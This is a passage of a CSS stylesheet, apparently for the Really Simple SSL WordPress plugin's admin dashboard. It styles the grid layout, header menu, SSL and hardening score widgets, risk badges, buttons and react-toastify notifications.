    font-weight: 600;
    letter-spacing: 0.0125rem;
}

.rsssl h5, .rsssl .rsssl-h5 {
    font-size: var(--rsp-fs-400);
    font-weight: 400;
    letter-spacing: 0.1px;
}

.rsssl h6, .rsssl .rsssl-h6 {
    font-size: var(--rsp-fs-300);
    letter-spacing: 0.1px;
}

.rsssl p {
    color: var(--rsp-text-color);
    font-weight: 400;
    font-size: var(--rsp-fs-300);
    line-height: 1.5;
}

.rsssl .rsssl-small-text {
    font-size: var(--rsp-fs-200);
    line-height: 1.5;
    color: var(--rsp-text-color-light);
}

.rsssl a {
    font-size: 1em;
}

.rsssl .rsssl-notice-hook-element {
    display: none !important;
}

.rsssl .rsssl-divider {
    width: 1px;
    height: 1.3rem;
    background-color: #cccccc;
}

.error:not(.really-simple-plugins), .notice:not(.really-simple-plugins), .update-nag:not(.really-simple-plugins), .notice-info:not(.really-simple-plugins) {
    display: none !important;
}

.error.really-simple-plugins, .notice.really-simple-plugins, .update-nag.really-simple-plugins, .notice-info.really-simple-plugins {
    margin: var(--rsp-grid-gap);
}

.number_full input[type=number] {
    width: 100% !important;
    position: relative;
}

/* Grid */
.rsssl .rsssl-header, .rsssl .rsssl-content-area {
    max-width: clamp(300px, 100% - var(--rsp-grid-gap) * 2, 1600px);
    margin: 0 auto;
}

@media (max-width: 1599px) {
    .rsssl .rsssl-header, .rsssl .rsssl-content-area {
        --rsp-grid-gap: var(--rsp-spacing-m);
    }
}

@media (max-width: 1440px) {
    .rsssl .rsssl-header, .rsssl .rsssl-content-area {
        --rsp-grid-gap: var(--rsp-spacing-s);
    }
}

@media (max-width: 1366px) {
    .rsssl .rsssl-header, .rsssl .rsssl-content-area {
        --rsp-grid-gap: var(--rsp-spacing-xs);
    }
}

.rsssl .rsssl-header-container .rsssl-header {
    display: flex;
    flex-wrap: wrap;
    justify-content: space-between;
    height: 70px;
    box-sizing: border-box;
    background-color: var(--rsp-background-block-color);
}

@media (max-width: 1080px) {
    .rsssl .rsssl-header-container .rsssl-header {
        height: 100%;
    }
}

@media (max-width: 576px) {
    .rsssl .rsssl-logo {
        display: none;
    }
}

.rsssl .rsssl-header-left {
    display: flex;
    font-size: var(--rsp-fs-400);
}

@media (max-width: 1080px) {
    .rsssl .rsssl-header-left {
        justify-content: center;
        margin: var(--rsp-spacing-xs) 0;
        order: 3;
        width: 100%;
        background-color: var(--rsp-background-block-color);
    }
}

.rsssl .rsssl-header-left .rsssl-header-menu {
    margin: auto 15px;
}

.rsssl .rsssl-header-left .rsssl-header-menu ul {
    display: flex;
}

.rsssl .rsssl-header-left .rsssl-header-menu li {
    margin-bottom: 0;
}

.rsssl .rsssl-header-left .rsssl-header-menu a {
    padding: 23px 15px;
    text-decoration: none;
    color: var(--rsp-text-color);
    height: 100%;
    border-bottom: 4px solid transparent;
    transition: border 0.3s ease-out;
    box-sizing: border-box;
    -moz-box-sizing: border-box;
    -webkit-box-sizing: border-box;
}

@media (max-width: 1080px) {
    .rsssl .rsssl-header-left .rsssl-header-menu a {
        padding: 10px 15px;
    }
}

.rsssl .rsssl-header-left .rsssl-header-menu a.active {
    border-bottom: 4px solid var(--rsp-brand-primary);
}

.rsssl .rsssl-header-left .rsssl-header-menu a:hover {
    color: var(--rsp-brand-primary);
}

.rsssl .rsssl-header-right {
    display: flex;
    flex-wrap: wrap;
    align-items: center;
    margin-left: auto;
    gap: var(--rsp-spacing-s);
    min-height: 52px;
}

.rsssl .rsssl-header-right select {
    max-width: 60ch;
}

@media (max-width: 576px) {
    .rsssl .rsssl-header-right {
        display: none;
    }
}

@media (max-width: 768px) {
    .rsssl .rsssl-header-right .button {
        display: none;
    }
}

.rsssl .rsssl-content-area {
    margin-top: var(--rsp-grid-gap);
}

.rsssl .rsssl-header-container {
    background: var(--rsp-background-block-color);
}

.rsssl .rsssl-grid {
    display: grid;
    grid-template-columns: repeat(4, 1fr);
    grid-auto-rows: max-content;
    gap: var(--rsp-grid-gap);
    min-height: calc(100vh - 32px - 80px - 20px - var(--rsp-grid-gap));
}

.rsssl .rsssl-grid.rsssl-settings, .rsssl .rsssl-grid.rsssl-letsencrypt {
    grid-template-columns: minmax(235px, max-content) 2fr minmax(min-content, 1fr);
}

@media only screen and (max-width: 1080px) {
    .rsssl .rsssl-grid.rsssl-settings, .rsssl .rsssl-grid.rsssl-letsencrypt {
        grid-template-columns: repeat(4, 1fr);
    }

    .rsssl .rsssl-grid.rsssl-settings .rsssl-wizard-menu, .rsssl .rsssl-grid.rsssl-settings .rsssl-wizard-settings, .rsssl .rsssl-grid.rsssl-settings .rsssl-wizard-help, .rsssl .rsssl-grid.rsssl-letsencrypt .rsssl-wizard-menu, .rsssl .rsssl-grid.rsssl-letsencrypt .rsssl-wizard-settings, .rsssl .rsssl-grid.rsssl-letsencrypt .rsssl-wizard-help {
        grid-column: 1/-1;
    }
}

@media only screen and (max-width: 1280px) {
    .rsssl .rsssl-grid {
        grid-template-columns: repeat(2, 1fr);
    }
}

@media only screen and (max-width: 1080px) {
    .rsssl .rsssl-grid {
        max-width: 790px;
        width: calc(100% - var(--rsp-grid-gap) * 2);
    }
}

.rsssl .rsssl-grid-item {
    background: var(--rsp-background-block-color);
    box-shadow: var(--rsp-box-shadow);
    border-radius: var(--rsp-border-radius);
    display: flex;
    flex-wrap: wrap;
    justify-content: flex-start;
    flex-direction: column;
    flex-basis: 100%;
    grid-column: span 1;
    grid-row: span 1;
}

.rsssl .rsssl-grid-item.rsssl-disabled {
    min-height: 320px;
}

.rsssl .rsssl-grid-item.rsssl-two_fa_users .rsssl-grid-item-content .rsssl-field-wrap {
    margin-top: -50px;
}

@media (max-width: 1080px) {
    .rsssl .rsssl-grid-item {
        grid-column: span 4;
    }
}

.rsssl .rsssl-grid-item.no-background {
    background: none;
    border: none;
    box-shadow: none;
}

.rsssl .rsssl-grid-item.rsssl-column-2 {
    grid-column: span 2;
}

@media (max-width: 1080px) {
    .rsssl .rsssl-grid-item.rsssl-column-2 {
        grid-column: span 4;
    }
}

.rsssl .rsssl-grid-item.rsssl-row-2 {
    grid-row: span 2;
    min-height: 400px;
}

.rsssl .rsssl-grid-item-header {
    width: 100%;
    box-sizing: border-box;
    display: flex;
    align-items: center;
    justify-content: space-between;
    min-height: calc(30px + var(--rsp-spacing-s) * 2);
    padding: var(--rsp-spacing-m) var(--rsp-spacing-l);
}

@media screen and (max-width: 1280px) {
    .rsssl .rsssl-grid-item-header {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

@media screen and (max-width: 1080px) {
    .rsssl .rsssl-grid-item-header {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

.rsssl .rsssl-grid-item-header:empty {
    display: none;
}

.rsssl .rsssl-grid-item-title {
    margin: 4px 0 4px 0;
}

.rsssl .rsssl-grid-item-controls {
    font-size: var(--rsp-fs-200);
    display: flex;
    gap: var(--rsp-spacing-s);
}

.rsssl .rsssl-grid-item-content {
    flex-grow: 100;
    width: 100%;
    box-sizing: border-box;
    padding-inline: var(--rsp-spacing-l);
}

@media screen and (max-width: 1280px) {
    .rsssl .rsssl-grid-item-content {
        padding-inline: var(--rsp-spacing-m);
    }
}

@media screen and (max-width: 1080px) {
    .rsssl .rsssl-grid-item-content {
        padding-inline: var(--rsp-spacing-s);
    }
}

.rsssl .rsssl-grid-item-content:empty {
    display: none;
}

.rsssl .rsssl-grid-item-footer {
    display: flex;
    flex-wrap: wrap;
    align-items: center;
    align-self: flex-end;
    justify-content: space-between;
    gap: var(--rsp-grid-margin);
    width: 100%;
    min-height: calc(30px + var(--rsp-spacing-s) * 2);
    box-sizing: border-box;
    padding: var(--rsp-spacing-m) var(--rsp-spacing-l);
}

@media screen and (max-width: 1280px) {
    .rsssl .rsssl-grid-item-footer {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

@media screen and (max-width: 1080px) {
    .rsssl .rsssl-grid-item-footer {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

.rsssl .rsssl-grid-item-footer .rsssl-legend {
    display: flex;
}

.rsssl .rsssl-grid-item-footer .rsssl-legend span {
    padding-left: 5px;
}

.rsssl .rsssl-grid-item-footer:empty {
    display: none;
}

.rsssl .rsssl-grid-item .rsssl-flex-push-right {
    margin-left: auto;
}

.rsssl .rsssl-grid-item .rsssl-flex-push-left {
    margin-right: auto;
}

.rsssl-header-container .rsssl-header {
    display: flex;
    justify-content: space-between;
    height: 70px;
    box-sizing: border-box;
}

.rsssl-header-container .rsssl-header img {
    margin: auto 0;
    height: 26px;
}

.rsssl-header-container .rsssl-header .rsssl-header-menu {
    display: flex;
    align-items: center;
    height: 100%;
    padding: 0 20px;
    box-sizing: border-box;
}

.rsssl-header-container .rsssl-header .rsssl-header-menu .rsssl-header-menu-item {
    display: flex;
    align-items: center;
    height: 100%;
    padding: 0 20px;
    box-sizing: border-box;
}

.rsssl-header-container .rsssl-header .rsssl-header-menu .rsssl-header-menu-item:first-child {
    margin-left: 0;
}

.rsssl-header-container .rsssl-header .rsssl-header-menu .rsssl-header-menu-item:last-child {
    margin-right: 0;
}

.rsssl-header-container .rsssl-header .rsssl-header-menu .rsssl-header-menu-item.rsssl-header-menu-item-active {
    background-color: #f5f5f5;
}

.rsssl-header-container .rsssl-header .rsssl-header-actions {
    display: flex;
    align-items: center;
    margin-left: auto;
    gap: var(--rsp-spacing-s);
}

.rsssl-header-container .rsssl-header .rsssl-header-actions select {
    max-width: 60ch;
}

.rsssl-grid .border-to-border .rsssl-grid-item-content {
    padding: 0;
}

.rsssl-grid .border-to-border .rsssl-grid-item-content > * {
    padding-inline: var(--rsp-spacing-l);
    width: 100%;
    display: flex;
    flex-wrap: wrap;
    align-items: center;
}

.rsssl-grid .border-to-border.rsssl-ssllabs .rsssl-grid-item-content > *, .rsssl-grid .border-to-border.rsssl-wpvul .rsssl-grid-item-content > * {
    padding-left: 0;
    padding-right: 0;
}

.rsssl .rsssl-wpvul .rsssl-icon {
    margin-top: 5px;
}

.rsssl .rsssl-ssl-labs-select, .rsssl .rsssl-hardening-select {
    background: var(--rsp-grey-200);
    padding-inline: var(--rsp-spacing-l);
    padding-block: var(--rsp-spacing-m);
    display: grid;
    width: 100%;
    grid-template-columns: calc(50% - var(--rsp-spacing-s) / 2) calc(50% - var(--rsp-spacing-s) / 2);
    gap: var(--rsp-spacing-s);
    transition: background-color 0.3s ease-in-out;
}

.rsssl .rsssl-ssl-labs-select.rsssl-error, .rsssl .rsssl-hardening-select.rsssl-error {
    background: var(--rsp-red-faded);
}

.rsssl .rsssl-ssl-labs-select.rsssl-warning, .rsssl .rsssl-hardening-select.rsssl-warning {
    background: var(--rsp-yellow-faded);
}

.rsssl .rsssl-ssl-labs-select.rsssl-success, .rsssl .rsssl-hardening-select.rsssl-success {
    background: var(--rsp-green-faded);
}

.rsssl .rsssl-ssl-labs-select-item, .rsssl .rsssl-hardening-select-item {
    border-radius: var(--rsp-border-radius-xs);
    display: flex;
    flex-direction: column;
    justify-content: center;
    text-align: center;
    padding-block: var(--rsp-spacing-s);
    justify-items: center;
    flex-wrap: wrap;
    background: var(--rsp-white);
    min-height: 118px;
}

.rsssl .rsssl-ssl-labs-select-item.active, .rsssl .rsssl-hardening-select-item.active {
    box-shadow: inset 0 0 3px 2px var(--rsp-green-faded);
    border: 2px solid var(--rsp-green);
}

.rsssl .rsssl-ssl-labs-select-item h2, .rsssl .rsssl-hardening-select-item h2 {
    margin-top: var(--rsp-spacing-xxs);
    font-weight: 800;
}

.rsssl .rsssl-ssl-labs-select-item h2.big-number, .rsssl .rsssl-hardening-select-item h2.big-number {
    font-size: var(--rsp-fs-850);
}

.rsssl .rsssl-ssl-labs-select-item span, .rsssl .rsssl-hardening-select-item span {
    display: flex;
    gap: 3px;
    justify-content: center;
    font-size: var(--rsp-fs-100);
}

.rsssl .rsssl-ssl-labs-list, .rsssl .rsssl-hardening-list {
    width: 100%;
}

.rsssl .rsssl-ssl-labs-list-item, .rsssl .rsssl-hardening-list-item {
    width: 100%;
    display: grid;
    justify-items: flex-start;
    grid-template-columns: auto 1fr auto;
    gap: var(--rsp-spacing-s);
    padding-block: var(--rsp-spacing-xs);
    padding-inline: var(--rsp-spacing-l);
}

.rsssl .rsssl-ssl-labs-list-item:nth-of-type(even), .rsssl .rsssl-hardening-list-item:nth-of-type(even) {
    background: var(--rsp-grey-200);
}

.rsssl .rsssl-ssl-labs-list-item-text, .rsssl .rsssl-hardening-list-item-text {
    width: 100%;
    margin-right: auto;
}

.rsssl .rsssl-ssl-labs-list-item-number, .rsssl .rsssl-hardening-list-item-number {
    font-weight: 600;
}

.rsssl .rsssl-ssl-labs-list-item .rsssl-icon, .rsssl .rsssl-hardening-list-item .rsssl-icon {
    align-items: start;
    margin-top: 2px;
}

.rsssl .rsssl-ssl-labs-select-item {
    padding-inline: var(--rsp-spacing-s);
    gap: var(--rsp-spacing-xxs);
}

.rsssl .rsssl-ssl-labs .rsssl-score-snippet {
    max-width: 100%;
    overflow: hidden;
    text-overflow: ellipsis;
    height: 18px;
    line-height: 18px;
    padding-inline: var(--rsp-spacing-xxs);
    font-size: var(--rsp-fs-100);
    border-radius: var(--rsp-border-radius-xs);
    color: var(--rsp-text-color);
    text-align: left;
}

.rsssl .rsssl-ssl-labs .rsssl-score-snippet.rsssl-hover {
    height: initial;
    line-height: initial;
}

.rsssl .rsssl-ssl-labs .rsssl-score-snippet.rsssl-test-inactive {
    background-color: var(--rsp-grey-200);
    color: var(--rsp-color-disabled);
}

.rsssl .rsssl-ssl-labs .rsssl-score-snippet.rsssl-test-processing {
    background-color: var(--rsp-yellow);
    color: var(--rsp-black);
}

.rsssl .rsssl-ssl-labs .rsssl-score-snippet.rsssl-test-success {
    background-color: var(--rsp-color-success);
    color: var(--rsp-text-color-white);
}

.rsssl .rsssl-ssl-labs .rsssl-score-snippet.rsssl-test-error {
    background-color: var(--rsp-brand-primary);
    color: var(--rsp-black);
}

.rsssl .rsssl-hardening-select-item .rsssl-badge {
    margin-top: var(--rsp-spacing-xxs);
}

.rsssl-gridblock-progress-container.rsssl-error .rsssl-gridblock-progress {
    background: var(--rsp-color-warning);
}

.rsssl-gridblock-progress-container.rsssl-inactive {
    height: 4px;
    width: 100%;
    display: flex;
    background: var(--rsp-grey-300);
}

.rsssl-gridblock-progress-container.rsssl-inactive .rsssl-gridblock-progress {
    transition: width 1s ease-in-out;
    background: var(--rsp-green);
}

.rsssl .rsssl-field-button button.button {
    display: flex;
}

.rsssl a.button, .rsssl button.button, .rsssl input.button, .rsssl span.button {
    font-size: var(--rsp-fs-300);
    font-weight: 400;
    transition: all 0.3s ease;
    min-height: 10px;
}

.rsssl a.button.button-secondary, .rsssl a.button.button-default, .rsssl button.button.button-secondary, .rsssl button.button.button-default, .rsssl input.button.button-secondary, .rsssl input.button.button-default, .rsssl span.button.button-secondary, .rsssl span.button.button-default {
    background: transparent;
}

.rsssl a.button .rsssl-icon, .rsssl button.button .rsssl-icon, .rsssl input.button .rsssl-icon, .rsssl span.button .rsssl-icon {
    padding-top: 7px;
    padding-left: 7px;
}

.rsssl a.button.button-black, .rsssl button.button.button-black, .rsssl input.button.button-black, .rsssl span.button.button-black {
    border: 1px solid var(--rsp-black);
    background: var(--rsp-black);
    color: var(--rsp-text-color-white);
}

.rsssl a.button.button-tertiary, .rsssl a.button.button-red, .rsssl button.button.button-tertiary, .rsssl button.button.button-red, .rsssl input.button.button-tertiary, .rsssl input.button.button-red, .rsssl span.button.button-tertiary, .rsssl span.button.button-red {
    border: 0 solid transparent;
    background: var(--rsp-red);
    color: var(--rsp-text-color-white);
}

.rsssl a.button.button-primary:hover, .rsssl a.button.button-primary:focus, .rsssl a.button.button-primary:active, .rsssl button.button.button-primary:hover, .rsssl button.button.button-primary:focus, .rsssl button.button.button-primary:active, .rsssl input.button.button-primary:hover, .rsssl input.button.button-primary:focus, .rsssl input.button.button-primary:active, .rsssl span.button.button-primary:hover, .rsssl span.button.button-primary:focus, .rsssl span.button.button-primary:active {
    box-shadow: none;
}

.rsssl a.button.button-secondary:hover, .rsssl a.button.button-secondary:focus, .rsssl a.button.button-secondary:active, .rsssl button.button.button-secondary:hover, .rsssl button.button.button-secondary:focus, .rsssl button.button.button-secondary:active, .rsssl input.button.button-secondary:hover, .rsssl input.button.button-secondary:focus, .rsssl input.button.button-secondary:active, .rsssl span.button.button-secondary:hover, .rsssl span.button.button-secondary:focus, .rsssl span.button.button-secondary:active {
    box-shadow: none;
}

.rsssl {
  /* Documents overview */
  /* Remove margin for the last button to ensure clean alignment */
  /**
    For the mixed content scan we need to do some extra tweaking
   */
}

.rsssl a.rsssl-button-small, .rsssl button.rsssl-button-small, .rsssl input.rsssl-button-small {
    font-size: var(--rsp-fs-100);
    font-weight: 300;
    min-height: auto;
}

.rsssl .rsssl-button-small + .rsssl-button-small {
    margin-left: 10px;
}

.rsssl .rsssl-shortcode {
    right: 10000px;
    position: absolute;
    background-color: #fff;
    padding: 0;
    white-space: nowrap;
}

.rsssl .shortcode {
    cursor: pointer;
}

.rsssl .rsssl-action-buttons {
  /* Making sure we use the full width of the container */
    display: flex;
    justify-content: flex-end;
}

.rsssl .rsssl-action-buttons__inner {
    display: flex;
    justify-content: flex-end;
}

.rsssl .rsssl-action-buttons__inner {
    float: right;
}

.rsssl .rsssl-action-buttons__button {
    margin-right: 10px;
}

.rsssl .rsssl-action-buttons__inner:last-child {
    margin-right: 0;
}

.rsssl .rsssl-mixed-content-scan .rsssl-grid-item-content-footer {
    margin-left: 0;
    margin-right: 0;
    padding-left: 25px;
}

.rsssl .rsssl-mixed-content-scan .rsssl-grid-item-content-footer .button {
    display: block;
    margin-right: 0;
    margin-left: 0;
}

.rsssl .rsssl-mixed-content-scan .rsssl-grid-item-content-footer .components-toggle-control {
    margin-top: 12px;
}

.rsssl .rsssl-mixed-content-scan .rsssl-grid-item-content-footer label {
    display: flex;
    align-items: center;
    justify-content: center;
}

.rsssl .rsssl-bullet {
    height: 13px;
    width: 13px;
    flex: 0 0 13px;
    border-radius: 50%;
    display: inline-block;
    background-color: var(--rsp-grey-300);
}

.rsssl .rsssl-bullet.rsp-yellow {
    background-color: var(--rsp-yellow);
}

.rsssl .rsssl-bullet.rsp-blue {
    background-color: var(--rsp-blue);
}

.rsssl .rsssl-bullet.rsp-pink {
    background-color: var(--rsp-pink);
}

.rsssl .rsssl-bullet.rsp-red, .rsssl .rsssl-bullet.rsssl-bullet-error {
    background-color: var(--rsp-red);
}

.rsssl .rsssl-bullet.rsp-green, .rsssl .rsssl-bullet.rsssl-bullet-success {
    background-color: var(--rsp-green);
}

.rsssl .rsssl-bullet.rsp-blue-yellow {
    background: var(--rsp-blue);
    background: linear-gradient(77deg, rgb(0, 159, 255) 0%, rgb(0, 159, 255) 30%, rgb(244, 191, 62) 70%, rgb(244, 191, 62) 100%);
    animation: gradient 2s ease infinite;
    background-size: 200% 200%;
}

.rsssl .rsssl-legend {
    display: flex;
    width: max-content;
    color: var(--rsp-text-color-light);
    align-items: center;
    min-width: 0;
    gap: var(--rsp-spacing-xxs);
    text-decoration: none;
}

.rsssl .rsssl-legend:first-of-type {
    margin-left: auto;
}

.rsssl .rsssl-legend .rsssl-progress-footer-link a {
    color: inherit;
    text-decoration: none;
}

.rsssl .rsssl-legend .rsssl-progress-footer-link a:hover {
    text-decoration: underline;
}

@keyframes gradient {
    0% {
        background-position: 0% 50%;
    }

    50% {
        background-position: 100% 50%;
    }

    100% {
        background-position: 0% 50%;
    }
}

.rsssl-icon {
    display: flex;
    align-items: center;
    justify-content: center;
}

.rsssl-icon > div {
    display: flex;
}

.rsssl-icon svg {
    fill: currentColor;
}

.rsssl-icon-loading svg {
    animation: spin 2s linear infinite;
}

@keyframes spin {
    0% {
        transform: rotate(0deg);
    }

    100% {
        transform: rotate(360deg);
    }
}

.rsssl-icon.rsssl-click-animation {
    animation: beat 0.4s ease-out;
}

button.button .cmplz-icon.rsssl-icon-loading {
    padding-top: 6px;
}

button.button .cmplz-icon.rsssl-icon-loading > div {
    line-height: inherit;
}

.rsssl .rsssl-badge {
    --badge-height: 20px;
    height: var(--badge-height);
    line-height: var(--badge-height);
    padding-inline: 8px;
    min-width: 100px;
    text-align: center;
    border-radius: var(--rsp-border-radius-xs);
    color: var(--rsp-white);
    display: table;
    margin: auto auto;
    font-size: var(--rsp-fs-100);
}

.rsssl .rsssl-badge.rsp-dark {
    background-color: var(--rsp-black);
    color: var(--rsp-white);
}

.rsssl .rsssl-badge.rsp-low {
    background-color: var(--rsp-yellow-faded);
    color: var(--rsp-black);
}

.rsssl .rsssl-badge.rsp-medium {
    background-color: var(--rsp-yellow);
    color: var(--rsp-black);
}

.rsssl .rsssl-badge.rsp-high {
    background-color: var(--rsp-red-faded);
    color: var(--rsp-black);
}

.rsssl .rsssl-badge.rsp-critical {
    background-color: var(--rsp-red);
    color: var(--rsp-white);
}

.rsssl .rsssl-badge.rsp-success {
    background-color: var(--rsp-color-success);
    color: var(--rsp-white);
}

.rsssl .rsssl-badge.rsp-default {
    background-color: var(--rsp-grey-200);
    color: black;
}

.rsssl .rsssl-badge-large {
    --badge-height: 28px;
    height: var(--badge-height);
    line-height: var(--badge-height);
    padding: 0 10px;
    min-width: 80px;
    text-align: center;
    border-radius: var(--rsp-border-radius-xs);
    color: var(--rsp-white);
    display: table;
    margin: auto auto;
    font-size: var(--rsp-fs-300);
    font-weight: 400;
}

.rsssl .rsssl-badge-large.rsp-dark {
    background-color: var(--rsp-black);
    color: var(--rsp-white);
}

.rsssl .rsssl-badge-large.rsp-risk-level-l {
    background-color: var(--rsp-yellow-faded);
    color: var(--rsp-black);
}

.rsssl .rsssl-badge-large.rsp-risk-level-m {
    background-color: var(--rsp-yellow);
    color: var(--rsp-black);
}

.rsssl .rsssl-badge-large.rsp-risk-level-h {
    background-color: var(--rsp-red-faded);
    color: var(--rsp-black);
}

.rsssl .rsssl-badge-large.rsp-risk-level-c {
    background-color: var(--rsp-red);
    color: var(--rsp-white);
}

.rsssl .rsssl-badge-large.rsp-success {
    background-color: var(--rsp-color-success);
    color: var(--rsp-white);
}

.rsssl .rsssl-badge-large.rsp-default {
    background-color: var(--rsp-grey-200);
    color: black;
}

:root {
    --toastify-color-light: var(--rsp-white);
    --toastify-color-dark: var(--rsp-black);
    --toastify-color-info: var(--rsp-yellow);
    --toastify-color-success: var(--rsp-green);
    --toastify-color-warning: var(--rsp-orange);
    --toastify-color-error: var(--rsp-red);
    --toastify-color-transparent: rgba(255, 255, 255, 0.7);
    --toastify-icon-color-info: var(--toastify-color-info);
    --toastify-icon-color-success: var(--rsp-green);
    --toastify-icon-color-warning: var(--toastify-color-warning);
    --toastify-icon-color-error: var(--toastify-color-error);
    --toastify-toast-width: 320px;
    --toastify-toast-background: #fff;
    --toastify-toast-min-height: 42px;
    --toastify-toast-max-height: 800px;
    --toastify-font-family: sans-serif;
    --toastify-z-index: 999999;
    --toastify-text-color-light: var(--rsp-text-color);
    --toastify-text-color-dark: var(--rsp-text-color-white);
    --toastify-text-color-info: #fff;
    --toastify-text-color-success: #fff;
    --toastify-text-color-warning: #fff;
    --toastify-text-color-error: #fff;
    --toastify-spinner-color: #616161;
    --toastify-spinner-color-empty-area: #e0e0e0;
    --toastify-color-progress-light: linear-gradient(
    to right,
    var(--rsp-green),
    #5ac8fa,
    #007aff,
    #34aadc,
    #5856d6,
    #ff2d55
  );
    --toastify-color-progress-dark: #bb86fc;
    --toastify-color-progress-info: var(--toastify-color-info);
    --toastify-color-progress-success: var(--rsp-green);
    --toastify-color-progress-warning: var(--toastify-color-warning);
    --toastify-color-progress-error: var(--toastify-color-error);
}

.Toastify__toast-container {
    z-index: var(--toastify-z-index);
    -webkit-transform: translate3d(0, 0, var(--toastify-z-index) px);
    position: fixed;
    padding: 4px;
    width: var(--toastify-toast-width);
    box-sizing: border-box;
    color: #fff;
}

.Toastify__toast-container--top-left {
    top: 1em;
    left: 1em;
}

.Toastify__toast-container--top-center {
    top: calc(2em + 32px);
    left: 50%;
    transform: translateX(-50%);
}

.Toastify__toast-container--top-right {
    top: 1em;
    right: 1em;
}

.Toastify__toast-container--bottom-left {
    bottom: 1em;
    left: 1em;
}

.Toastify__toast-container--bottom-center {
    bottom: 1em;
    left: 50%;
    transform: translateX(-50%);
}

.Toastify__toast-container--bottom-right {
    bottom: 1em;
    right: 1em;
}

@media only screen and (max-width : 480px) {
    .Toastify__toast-container {
        width: 100vw;
        padding: 0;
        left: 0;
        margin: 0;
    }

    .Toastify__toast-container--top-left, .Toastify__toast-container--top-center, .Toastify__toast-container--top-right {
        top: 0;
        transform: translateX(0);
    }

    .Toastify__toast-container--bottom-left, .Toastify__toast-container--bottom-center, .Toastify__toast-container--bottom-right {
        bottom: 0;
        transform: translateX(0);
    }

    .Toastify__toast-container--rtl {
        right: 0;
        left: initial;
    }
}

.Toastify__toast {
    position: relative;
    min-height: var(--toastify-toast-min-height);
    box-sizing: border-box;
    margin-bottom: 1rem;
    padding: 8px;
    border-radius: var(--rsp-border-radius);
    border: 1px solid #eeeeee;
    box-shadow: 0 1px 10px 0 rgba(0, 0, 0, 0.1), 0 2px 15px 0 rgba(0, 0, 0, 0.05);
    box-shadow: var(--rsp-box-shadow);
    display: flex;
    justify-content: space-between;
    max-height: var(--toastify-toast-max-height);
    overflow: hidden;
    font-family: var(--toastify-font-family);
    cursor: default;
    direction: ltr;
  /* webkit only issue #791 */
    z-index: 0;
}

.Toastify__toast--rtl {
    direction: rtl;
}

.Toastify__toast--close-on-click {
    cursor: pointer;
}

.Toastify__toast-body {
    margin: auto 0;
    flex: 1 1 auto;
    padding: 6px;
    display: flex;
    align-items: center;
}

.Toastify__toast-body > div:last-child {
    word-break: break-word;
    flex: 1;
}

.Toastify__toast-icon {
    margin-inline-end: 10px;
    width: 20px;
    flex-shrink: 0;
    display: flex;
}

.Toastify--animate {
    animation-fill-mode: both;
    animation-duration: 0.7s;
}

.Toastify--animate-icon {
    animation-fill-mode: both;
    animation-duration: 0.3s;
}

@media only screen and (max-width : 480px) {
    .Toastify__toast {
        margin-bottom: 0;
        border-radius: 0;
    }
}

.Toastify__toast-theme--dark {
    background: var(--toastify-color-dark);
    color: var(--toastify-text-color-dark);
}

.Toastify__toast-theme--light {
    background: var(--toastify-color-light);
    color: var(--toastify-text-color-light);
}

.Toastify__toast-theme--colored.Toastify__toast--default {
    background: var(--toastify-color-light);
    color: var(--toastify-text-color-light);
}

.Toastify__toast-theme--colored.Toastify__toast--info {
    color: var(--toastify-text-color-info);
    background: var(--toastify-color-info);
}

.Toastify__toast-theme--colored.Toastify__toast--success {
    color: var(--toastify-text-color-success);
    background: var(--rsp-green);
}

.Toastify__toast-theme--colored.Toastify__toast--warning {
    color: var(--toastify-text-color-warning);
    background: var(--toastify-color-warning);
}

.Toastify__toast-theme--colored.Toastify__toast--error {
    color: var(--toastify-text-color-error);
    background: var(--toastify-color-error);
}

.Toastify__progress-bar-theme--light {
    background: var(--toastify-color-progress-light);
}

.Toastify__progress-bar-theme--dark {
    background: var(--toastify-color-progress-dark);
}

.Toastify__progress-bar--info {
    background: var(--toastify-color-progress-info);
}

.Toastify__progress-bar--success {
    background: var(--toastify-color-progress-success);
}

.Toastify__progress-bar--warning {
    background: var(--toastify-color-progress-warning);
}

.Toastify__progress-bar--error {
    background: var(--toastify-color-progress-error);
}

.Toastify__progress-bar-theme--colored.Toastify__progress-bar--info, .Toastify__progress-bar-theme--colored.Toastify__progress-bar--success, .Toastify__progress-bar-theme--colored.Toastify__progress-bar--warning, .Toastify__progress-bar-theme--colored.Toastify__progress-bar--error {
    background: var(--toastify-color-transparent);
}

.Toastify__close-button {
    color: #fff;
    background: transparent;
    outline: none;
    border: none;
    padding: 0;
    cursor: pointer;
    opacity: 0.7;
    transition: 0.3s ease;
    align-self: flex-start;
}

.Toastify__close-button--light {
    color: #000;
    opacity: 0.3;
}

.Toastify__close-button > svg {
    fill: currentColor;
    height: 16px;
    width: 14px;
}

.Toastify__close-button:hover, .Toastify__close-button:focus {
    opacity: 1;
}

@keyframes Toastify__trackProgress {
    0% {
        transform: scaleX(1);
    }

    100% {
        transform: scaleX(0);
    }
}

.Toastify__progress-bar {
    position: absolute;
    bottom: 0;
    left: 0;
    width: 100%;
    height: 5px;
    z-index: var(--toastify-z-index);
    opacity: 0.7;
    transform-origin: left;
}

.Toastify__progress-bar--animated {
    animation: Toastify__trackProgress linear 1 forwards;
}

.Toastify__progress-bar--controlled {
    transition: transform 0.2s;
}

.Toastify__progress-bar--rtl {
    right: 0;
    left: initial;
    transform-origin: right;
}

.Toastify__spinner {
    width: 20px;
    height: 20px;
    box-sizing: border-box;
    border: 2px solid;
    border-radius: 100%;
    border-color: var(--toastify-spinner-color-empty-area);
    border-right-color: var(--toastify-spinner-color);
    animation: Toastify__spin 0.65s linear infinite;
}

@keyframes Toastify__bounceInRight {
    from, 60%, 75%, 90%, to {
        animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    }

    from {
        opacity: 0;
        transform: translate3d(3000px, 0, 0);
    }

    60% {
        opacity: 1;
        transform: translate3d(-25px, 0, 0);
    }

    75% {
        transform: translate3d(10px, 0, 0);
    }

    90% {
        transform: translate3d(-5px, 0, 0);
    }

    to {
        transform: none;
    }
}

@keyframes Toastify__bounceOutRight {
    20% {
        opacity: 1;
        transform: translate3d(-20px, 0, 0);
    }

    to {
        opacity: 0;
        transform: translate3d(2000px, 0, 0);
    }
}

@keyframes Toastify__bounceInLeft {
    from, 60%, 75%, 90%, to {
        animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    }

    0% {
        opacity: 0;
